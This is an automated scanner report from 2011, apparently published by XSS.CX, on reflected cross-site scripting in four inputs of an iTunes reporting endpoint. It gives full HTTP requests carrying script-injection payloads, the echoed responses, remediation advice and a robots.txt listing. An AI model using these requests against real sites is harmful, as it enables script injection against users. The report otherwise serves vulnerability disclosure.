XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, dzc.itunes.apple.com

Report generated by XSS.CX at Mon Aug 08 08:19:58 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1. Cross-site scripting (reflected)

XSS in dzc.itunes.apple.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://dzc.itunes.apple.com/WebObjects/DZC.woa/wa/reportBrowse [pageLocation parameter]

1.2. http://dzc.itunes.apple.com/WebObjects/DZC.woa/wa/reportBrowse [podcastName parameter]

1.3. http://dzc.itunes.apple.com/WebObjects/DZC.woa/wa/reportBrowse [Referer HTTP header]

1.4. http://dzc.itunes.apple.com/WebObjects/DZC.woa/wa/reportBrowse [User-Agent HTTP header]

2. Referer-dependent response

3. Robots.txt file

1. Cross-site scripting (reflected) next
There are 4 instances of this issue:

/WebObjects/DZC.woa/wa/reportBrowse [pageLocation parameter]
/WebObjects/DZC.woa/wa/reportBrowse [podcastName parameter]
/WebObjects/DZC.woa/wa/reportBrowse [Referer HTTP header]
/WebObjects/DZC.woa/wa/reportBrowse [User-Agent HTTP header]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://dzc.itunes.apple.com/WebObjects/DZC.woa/wa/reportBrowse [pageLocation parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dzc.itunes.apple.com
Path:	/WebObjects/DZC.woa/wa/reportBrowse

Issue detail

The value of the pageLocation request parameter is copied into the HTML document as plain text between tags. The payload 4e4d5<script>alert(1)</script>b7cd3b4f26e2ceab0 was submitted in the pageLocation parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /WebObjects/DZC.woa/wa/reportBrowse?artistId=388882578&podcastId=388885594&podcastName=Basic%20Spanish%3A%20SPN101%2C%20SPN102%2C%20SPN103&v=2&pageLocation=itup4e4d5<script>alert(1)</script>b7cd3b4f26e2ceab0 HTTP/1.1
Host: dzc.itunes.apple.com
User-Agent: iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/
Accept: */*
Origin: http://itunes.apple.com
Accept-Language: en-us, en;q=0.50
Cookie: itsMetricsR=Genre-US-iTunes%20U-40000000@@iTunes%20U-main@@Titledbox_Top%20Charts%7CListbox_Collections%7CLockup_6@@; mz_user_info_version=0; s_sq=%5B%5BB%5D%5D; s_cc=true; dfa_cookie=appleusappwelcome; s_pv=itunes%2010%20-%20welcome%20screen%20(us); s_orientationHeight=539; s_ppv=itunes%252010%2520-%2520welcome%2520screen%2520%2528US%2529%2C100%2C100%2C539%2C; s_vi=[CS]v1|271FF75F85163AAC-400001A440291C9F[CE]; s_invisit_us=itunes.welcomescreen%3Dtrue%3B; s_membership=1%3Ait10; s_orientation=%5B%5BB%5D%5D; s_pathLength=itunes.welcomescreen%3D1%2C; s_ria=Flash%20Not%20Detected%7C; s_vnum_us=ch%3Ditunes.welcomescreen%26vn%3D1%3B; ccl=NYyk6sAG98SCGL46SczLEN99omBxwEunnAd2+bPJ7oCPlez789+nd68otRyFPQoJdOOkdXcQJvQx4YDdu1FoFNgR+z5oBs7gL4frATiC928pom501r1BMjJI9N/uSDrekhyZqsU+Pvz4RKmce17zy/dqFahV9z9XMhUsZjkBtE/2LXDxL5GavQ==; geo=US
Referer: http://itunes.apple.com/WebObjects/DZR.woa/wa/viewPodcast?cc=us&id=388885594
X-Apple-Store-Front: 143441-1,12
X-Apple-Tz: -18000
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 Apple WebObjects
access-control-allow-origin: *
access-control-allow-methods: POST, GET, OPTIONS
access-control-allow-headers: X-Prototype-Version, X-Requested-With, Content-Type, Accept
x-webobjects-loadaverage: 0
access-control-max-age: 86400
content-type: text/html; charset=US-ASCII
connection: keep-alive
content-length: 596

<HTML><BODY><H1>Reporting: ReportEvent [artistId=388,882,578, adamId=388,885,594, actionType=BROWSE, title=Basic Spanish: SPN101, SPN102, SPN103, url=http://itunes.apple.com/WebObjects/DZR.woa/wa/view
...[SNIP]...
rl=null, useragent=iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/, ipAddress=50.23.123.106, dsId=-1, tagId=-1, categoryId=-1, pageLocation=itup4e4d5<script>alert(1)</script>b7cd3b4f26e2ceab0 episodeType=NONE]</H1>
...[SNIP]...

1.2. http://dzc.itunes.apple.com/WebObjects/DZC.woa/wa/reportBrowse [podcastName parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dzc.itunes.apple.com
Path:	/WebObjects/DZC.woa/wa/reportBrowse

Issue detail

The value of the podcastName request parameter is copied into the HTML document as plain text between tags. The payload e157d<script>alert(1)</script>caa23618b2bd25fdc was submitted in the podcastName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /WebObjects/DZC.woa/wa/reportBrowse?artistId=388882578&podcastId=388885594&podcastName=Basic%20Spanish%3A%20SPN101%2C%20SPN102%2C%20SPN103e157d<script>alert(1)</script>caa23618b2bd25fdc&v=2&pageLocation=itup HTTP/1.1
Host: dzc.itunes.apple.com
User-Agent: iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/
Accept: */*
Origin: http://itunes.apple.com
Accept-Language: en-us, en;q=0.50
Cookie: itsMetricsR=Genre-US-iTunes%20U-40000000@@iTunes%20U-main@@Titledbox_Top%20Charts%7CListbox_Collections%7CLockup_6@@; mz_user_info_version=0; s_sq=%5B%5BB%5D%5D; s_cc=true; dfa_cookie=appleusappwelcome; s_pv=itunes%2010%20-%20welcome%20screen%20(us); s_orientationHeight=539; s_ppv=itunes%252010%2520-%2520welcome%2520screen%2520%2528US%2529%2C100%2C100%2C539%2C; s_vi=[CS]v1|271FF75F85163AAC-400001A440291C9F[CE]; s_invisit_us=itunes.welcomescreen%3Dtrue%3B; s_membership=1%3Ait10; s_orientation=%5B%5BB%5D%5D; s_pathLength=itunes.welcomescreen%3D1%2C; s_ria=Flash%20Not%20Detected%7C; s_vnum_us=ch%3Ditunes.welcomescreen%26vn%3D1%3B; ccl=NYyk6sAG98SCGL46SczLEN99omBxwEunnAd2+bPJ7oCPlez789+nd68otRyFPQoJdOOkdXcQJvQx4YDdu1FoFNgR+z5oBs7gL4frATiC928pom501r1BMjJI9N/uSDrekhyZqsU+Pvz4RKmce17zy/dqFahV9z9XMhUsZjkBtE/2LXDxL5GavQ==; geo=US
Referer: http://itunes.apple.com/WebObjects/DZR.woa/wa/viewPodcast?cc=us&id=388885594
X-Apple-Store-Front: 143441-1,12
X-Apple-Tz: -18000
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 Apple WebObjects
access-control-allow-origin: *
access-control-allow-methods: POST, GET, OPTIONS
access-control-allow-headers: X-Prototype-Version, X-Requested-With, Content-Type, Accept
x-webobjects-loadaverage: 2
access-control-max-age: 86400
content-type: text/html; charset=US-ASCII
connection: keep-alive
content-length: 596

<HTML><BODY><H1>Reporting: ReportEvent [artistId=388,882,578, adamId=388,885,594, actionType=BROWSE, title=Basic Spanish: SPN101, SPN102, SPN103e157d<script>alert(1)</script>caa23618b2bd25fdc, url=http://itunes.apple.com/WebObjects/DZR.woa/wa/viewPodcast?cc=us&id=388885594, episodeId=-1, episodeTitle=null, episodeType=-1, storefront=143441-1,12, referringUrl=null, useragent=iTunes/10.4 (Wi
...[SNIP]...

1.3. http://dzc.itunes.apple.com/WebObjects/DZC.woa/wa/reportBrowse [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://dzc.itunes.apple.com
Path:	/WebObjects/DZC.woa/wa/reportBrowse

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload fe9bb<script>alert(1)</script>7940cb1d43d38a90d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /WebObjects/DZC.woa/wa/reportBrowse?artistId=388882578&podcastId=388885594&podcastName=Basic%20Spanish%3A%20SPN101%2C%20SPN102%2C%20SPN103&v=2&pageLocation=itup HTTP/1.1
Host: dzc.itunes.apple.com
User-Agent: iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/
Accept: */*
Origin: http://itunes.apple.com
Accept-Language: en-us, en;q=0.50
Cookie: itsMetricsR=Genre-US-iTunes%20U-40000000@@iTunes%20U-main@@Titledbox_Top%20Charts%7CListbox_Collections%7CLockup_6@@; mz_user_info_version=0; s_sq=%5B%5BB%5D%5D; s_cc=true; dfa_cookie=appleusappwelcome; s_pv=itunes%2010%20-%20welcome%20screen%20(us); s_orientationHeight=539; s_ppv=itunes%252010%2520-%2520welcome%2520screen%2520%2528US%2529%2C100%2C100%2C539%2C; s_vi=[CS]v1|271FF75F85163AAC-400001A440291C9F[CE]; s_invisit_us=itunes.welcomescreen%3Dtrue%3B; s_membership=1%3Ait10; s_orientation=%5B%5BB%5D%5D; s_pathLength=itunes.welcomescreen%3D1%2C; s_ria=Flash%20Not%20Detected%7C; s_vnum_us=ch%3Ditunes.welcomescreen%26vn%3D1%3B; ccl=NYyk6sAG98SCGL46SczLEN99omBxwEunnAd2+bPJ7oCPlez789+nd68otRyFPQoJdOOkdXcQJvQx4YDdu1FoFNgR+z5oBs7gL4frATiC928pom501r1BMjJI9N/uSDrekhyZqsU+Pvz4RKmce17zy/dqFahV9z9XMhUsZjkBtE/2LXDxL5GavQ==; geo=US
Referer: http://www.google.com/search?hl=en&q=fe9bb<script>alert(1)</script>7940cb1d43d38a90d
X-Apple-Store-Front: 143441-1,12
X-Apple-Tz: -18000
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 Apple WebObjects
access-control-allow-origin: *
access-control-allow-methods: POST, GET, OPTIONS
access-control-allow-headers: X-Prototype-Version, X-Requested-With, Content-Type, Accept
x-webobjects-loadaverage: 0
access-control-max-age: 86400
content-type: text/html; charset=US-ASCII
connection: keep-alive
content-length: 557

<HTML><BODY><H1>Reporting: ReportEvent [artistId=388,882,578, adamId=388,885,594, actionType=BROWSE, title=Basic Spanish: SPN101, SPN102, SPN103, url=http://www.google.com/search?hl=en&q=fe9bb<script>alert(1)</script>7940cb1d43d38a90d, episodeId=-1, episodeTitle=null, episodeType=-1, storefront=143441-1,12, referringUrl=null, useragent=iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) Apple
...[SNIP]...

1.4. http://dzc.itunes.apple.com/WebObjects/DZC.woa/wa/reportBrowse [User-Agent HTTP header] previous

Summary

Severity:	Low
Confidence:	Certain
Host:	http://dzc.itunes.apple.com
Path:	/WebObjects/DZC.woa/wa/reportBrowse

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 87ddb<script>alert(1)</script>5b64622d8d6c9f402 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /WebObjects/DZC.woa/wa/reportBrowse?artistId=388882578&podcastId=388885594&podcastName=Basic%20Spanish%3A%20SPN101%2C%20SPN102%2C%20SPN103&v=2&pageLocation=itup HTTP/1.1
Host: dzc.itunes.apple.com
User-Agent: iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/87ddb<script>alert(1)</script>5b64622d8d6c9f402
Accept: */*
Origin: http://itunes.apple.com
Accept-Language: en-us, en;q=0.50
Cookie: itsMetricsR=Genre-US-iTunes%20U-40000000@@iTunes%20U-main@@Titledbox_Top%20Charts%7CListbox_Collections%7CLockup_6@@; mz_user_info_version=0; s_sq=%5B%5BB%5D%5D; s_cc=true; dfa_cookie=appleusappwelcome; s_pv=itunes%2010%20-%20welcome%20screen%20(us); s_orientationHeight=539; s_ppv=itunes%252010%2520-%2520welcome%2520screen%2520%2528US%2529%2C100%2C100%2C539%2C; s_vi=[CS]v1|271FF75F85163AAC-400001A440291C9F[CE]; s_invisit_us=itunes.welcomescreen%3Dtrue%3B; s_membership=1%3Ait10; s_orientation=%5B%5BB%5D%5D; s_pathLength=itunes.welcomescreen%3D1%2C; s_ria=Flash%20Not%20Detected%7C; s_vnum_us=ch%3Ditunes.welcomescreen%26vn%3D1%3B; ccl=NYyk6sAG98SCGL46SczLEN99omBxwEunnAd2+bPJ7oCPlez789+nd68otRyFPQoJdOOkdXcQJvQx4YDdu1FoFNgR+z5oBs7gL4frATiC928pom501r1BMjJI9N/uSDrekhyZqsU+Pvz4RKmce17zy/dqFahV9z9XMhUsZjkBtE/2LXDxL5GavQ==; geo=US
Referer: http://itunes.apple.com/WebObjects/DZR.woa/wa/viewPodcast?cc=us&id=388885594
X-Apple-Store-Front: 143441-1,12
X-Apple-Tz: -18000
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 Apple WebObjects
access-control-allow-origin: *
access-control-allow-methods: POST, GET, OPTIONS
access-control-allow-headers: X-Prototype-Version, X-Requested-With, Content-Type, Accept
x-webobjects-loadaverage: 0
access-control-max-age: 86400
content-type: text/html; charset=US-ASCII
connection: keep-alive
content-length: 596

<HTML><BODY><H1>Reporting: ReportEvent [artistId=388,882,578, adamId=388,885,594, actionType=BROWSE, title=Basic Spanish: SPN101, SPN102, SPN103, url=http://itunes.apple.com/WebObjects/DZR.woa/wa/view
...[SNIP]...
deId=-1, episodeTitle=null, episodeType=-1, storefront=143441-1,12, referringUrl=null, useragent=iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/87ddb<script>alert(1)</script>5b64622d8d6c9f402, ipAddress=50.23.123.106, dsId=-1, tagId=-1, categoryId=-1, pageLocation=itup episodeType=NONE]</H1>
...[SNIP]...

2. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://dzc.itunes.apple.com
Path:	/WebObjects/DZC.woa/wa/reportBrowse

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

POST /WebObjects/DZC.woa/wa/reportBrowse HTTP/1.1
Host: dzc.itunes.apple.com
User-Agent: iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/
Content-Length: 124
Accept: */*
Origin: http://itunes.apple.com
Accept-Language: en-us, en;q=0.50
Cookie: itsMetricsR=Genre-US-iTunes%20U-40000000@@iTunes%20U-main@@Titledbox_Top%20Charts%7CListbox_Collections%7CLockup_6@@; mz_user_info_version=0; s_sq=%5B%5BB%5D%5D; s_cc=true; dfa_cookie=appleusappwelcome; s_pv=itunes%2010%20-%20welcome%20screen%20(us); s_orientationHeight=539; s_ppv=itunes%252010%2520-%2520welcome%2520screen%2520%2528US%2529%2C100%2C100%2C539%2C; s_vi=[CS]v1|271FF75F85163AAC-400001A440291C9F[CE]; s_invisit_us=itunes.welcomescreen%3Dtrue%3B; s_membership=1%3Ait10; s_orientation=%5B%5BB%5D%5D; s_pathLength=itunes.welcomescreen%3D1%2C; s_ria=Flash%20Not%20Detected%7C; s_vnum_us=ch%3Ditunes.welcomescreen%26vn%3D1%3B; ccl=NYyk6sAG98SCGL46SczLEN99omBxwEunnAd2+bPJ7oCPlez789+nd68otRyFPQoJdOOkdXcQJvQx4YDdu1FoFNgR+z5oBs7gL4frATiC928pom501r1BMjJI9N/uSDrekhyZqsU+Pvz4RKmce17zy/dqFahV9z9XMhUsZjkBtE/2LXDxL5GavQ==; geo=US
Content-Type: application/x-www-form-urlencoded
Referer: http://itunes.apple.com/WebObjects/DZR.woa/wa/viewPodcast?cc=us&id=388885594
X-Apple-Store-Front: 143441-1,12
X-Apple-Tz: -18000
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

artistId=388882578&podcastId=388885594&podcastName=Basic%20Spanish%3A%20SPN101%2C%20SPN102%2C%20SPN103&v=2&pageLocation=itup

Response 1

HTTP/1.0 200 Apple WebObjects
access-control-allow-origin: *
access-control-allow-methods: POST, GET, OPTIONS
access-control-allow-headers: X-Prototype-Version, X-Requested-With, Content-Type, Accept
x-webobjects-loadaverage: 0
access-control-max-age: 86400
content-type: text/html; charset=US-ASCII
connection: keep-alive
content-length: 549

<HTML><BODY><H1>Reporting: ReportEvent [artistId=388,882,578, adamId=388,885,594, actionType=BROWSE, title=Basic Spanish: SPN101, SPN102, SPN103, url=http://itunes.apple.com/WebObjects/DZR.woa/wa/viewPodcast?cc=us&id=388885594, episodeId=-1, episodeTitle=null, episodeType=-1, storefront=143441-1,12, referringUrl=null, useragent=iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/, ipAddress=50.23.123.106, dsId=-1, tagId=-1, categoryId=-1, pageLocation=itup episodeType=NONE]</H1></BODY></HTML>

Request 2

POST /WebObjects/DZC.woa/wa/reportBrowse HTTP/1.1
Host: dzc.itunes.apple.com
User-Agent: iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/
Content-Length: 124
Accept: */*
Origin: http://itunes.apple.com
Accept-Language: en-us, en;q=0.50
Cookie: itsMetricsR=Genre-US-iTunes%20U-40000000@@iTunes%20U-main@@Titledbox_Top%20Charts%7CListbox_Collections%7CLockup_6@@; mz_user_info_version=0; s_sq=%5B%5BB%5D%5D; s_cc=true; dfa_cookie=appleusappwelcome; s_pv=itunes%2010%20-%20welcome%20screen%20(us); s_orientationHeight=539; s_ppv=itunes%252010%2520-%2520welcome%2520screen%2520%2528US%2529%2C100%2C100%2C539%2C; s_vi=[CS]v1|271FF75F85163AAC-400001A440291C9F[CE]; s_invisit_us=itunes.welcomescreen%3Dtrue%3B; s_membership=1%3Ait10; s_orientation=%5B%5BB%5D%5D; s_pathLength=itunes.welcomescreen%3D1%2C; s_ria=Flash%20Not%20Detected%7C; s_vnum_us=ch%3Ditunes.welcomescreen%26vn%3D1%3B; ccl=NYyk6sAG98SCGL46SczLEN99omBxwEunnAd2+bPJ7oCPlez789+nd68otRyFPQoJdOOkdXcQJvQx4YDdu1FoFNgR+z5oBs7gL4frATiC928pom501r1BMjJI9N/uSDrekhyZqsU+Pvz4RKmce17zy/dqFahV9z9XMhUsZjkBtE/2LXDxL5GavQ==; geo=US
Content-Type: application/x-www-form-urlencoded
X-Apple-Store-Front: 143441-1,12
X-Apple-Tz: -18000
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

artistId=388882578&podcastId=388885594&podcastName=Basic%20Spanish%3A%20SPN101%2C%20SPN102%2C%20SPN103&v=2&pageLocation=itup

Response 2

HTTP/1.0 200 Apple WebObjects
access-control-allow-origin: *
access-control-allow-methods: POST, GET, OPTIONS
access-control-allow-headers: X-Prototype-Version, X-Requested-With, Content-Type, Accept
x-webobjects-loadaverage: 0
access-control-max-age: 86400
content-type: text/html; charset=US-ASCII
connection: keep-alive
content-length: 477

<HTML><BODY><H1>Reporting: ReportEvent [artistId=388,882,578, adamId=388,885,594, actionType=BROWSE, title=Basic Spanish: SPN101, SPN102, SPN103, url=null, episodeId=-1, episodeTitle=null, episodeType=-1, storefront=143441-1,12, referringUrl=null, useragent=iTunes/10.4 (Windows; Microsoft Windows 7 x64 Standard Edition Service Pack 1 (Build 7601)) AppleWebKit/, ipAddress=50.23.123.106, dsId=-1, tagId=-1, categoryId=-1, pageLocation=itup episodeType=NONE]</H1></BODY></HTML>

3. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dzc.itunes.apple.com
Path:	/WebObjects/DZC.woa/wa/reportBrowse

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: dzc.itunes.apple.com

Response

HTTP/1.1 200 OK
Date: Mon, 08 Aug 2011 14:14:30 GMT
Server: Apache
Last-Modified: Wed, 03 Aug 2011 15:51:05 GMT
ETag: "d1-4a99bd50098a8"
Accept-Ranges: bytes
Content-Length: 209
Cache-Control: public,max-age=3600,no-transform
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/plain

User-agent: *
Disallow: /WebObjects/MZFastFinance.woa
Disallow: /WebObjects/MZFinance.woa
Disallow: /WebObjects/MZPersonalizer.woa
Disallow: /WebObjects/MZSidebar.woa
Disallow: /WebObjects/MZStoreElem
...[SNIP]...

Report generated by XSS.CX at Mon Aug 08 08:19:58 GMT-06:00 2011.